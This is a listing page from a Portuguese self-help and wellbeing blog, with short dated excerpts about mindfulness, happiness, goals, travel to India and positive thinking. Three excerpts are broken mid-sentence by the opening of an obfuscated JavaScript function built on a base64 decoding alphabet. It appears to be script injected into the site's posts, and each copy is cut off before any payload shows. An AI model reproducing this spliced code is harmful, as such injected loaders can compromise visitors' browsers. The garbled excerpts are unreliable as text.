Jul 21, 2016 | Equilíbrio, Saúde e bem estar
Mindfulness – 5 dicas para ganhar paz e ser mais feliz, por Laura Sanches O mindfulness – atenção plena em português – tem vindo a cativar cada vez mais pessoas. É um estado de atenção plena ao momento presente, de forma consciente. Os benefícios do mindfulness...
Mar 9, 2016 | Equilíbrio, Saúde e bem estar
Obtenha o que tanto deseja. Estabelecer objetivos transmite-nos confiança e bem-estar. Imagine-se num cais de embarque onde estão dois navios de cruzeiro, à sua escolha, para desfrutar da maior viagem de sempre: a sua vida! ___ No primeiro, partirá sem rumo, apenas...
Fev 21, 2016 | Equilíbrio, Saúde e bem estar
Uma viagem à Índia A Índia é um país mágico, a este local pode mesmo aplicar-se a expressão – ‘primeiro estranha-se, depois entranha-se’. Dois meses foi o tempo suficiente para perceber por que razões as pessoas procuram este gigante e transformador local. Na Índia é...
Fev 16, 2016 | Equilíbrio, Saúde e bem estar
7 Hábitos das pessoas felizes Qual é o segredo para ser feliz? Uma carreira de sucesso? Uma paixão eloquente? Uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...
Jan 9, 2016 | Equilíbrio, Saúde e bem estar
Pôr um ponto final numa relação não é o fim. Um testemunho que nos ensina a tirar partido da aprendizagem O que não nos mata torna-nos mais fortes! Na maior parte das vezes, arrastamos relações que sabemos que estão condenadas à partida, por variantes de um mesmo...
Dez 18, 2015 | Equilíbrio, Sugestões
Esperar sem desesperar é uma arte. Ninguém gosta de esperar. E é difícil não desesperar. Eu confesso, chego sempre atrasada a todo o lado, para grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var...
Dez 18, 2015 | À descoberta, Dicas úteis
Trânsito! É difícil function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Dez 17, 2015 | Equilíbrio, Saúde e bem estar
Pensamento positivo, dicas para viver bem, por Carlos Baltazar Aprenda a enquadrar positivamente o pensamento positivo Ninguém tem o real poder de controlar o fluxo dos seus pensamentos, mas todos podemos escolher perspetivas ou pontos de vista mais produtivos para o...
Dez 9, 2015 | Equilíbrio, Saúde e bem estar
Dicas rápidas para mudar a sua imagem Serei capaz? Como transformar dúvida em sucesso Vivemos em tempos de pessimismo. Para todos os lados que olhamos, vemos pessoas ‘de mal com a vida’. Existem vários fatores que nos impedem de viver de forma plena, e o contágio...
Dez 8, 2015 | Equilíbrio, Saúde e bem estar
A vida traz-nos sempre o melhor, seja oportunidades ou desafios. O que tem recebido da vida todos os dias? Oportunidades ou desafios? Sorrisos, surpresas, amor, carinho, desafios, presentes, dádivas… ou indelicadezas, surpresas desagradáveis, traições,...
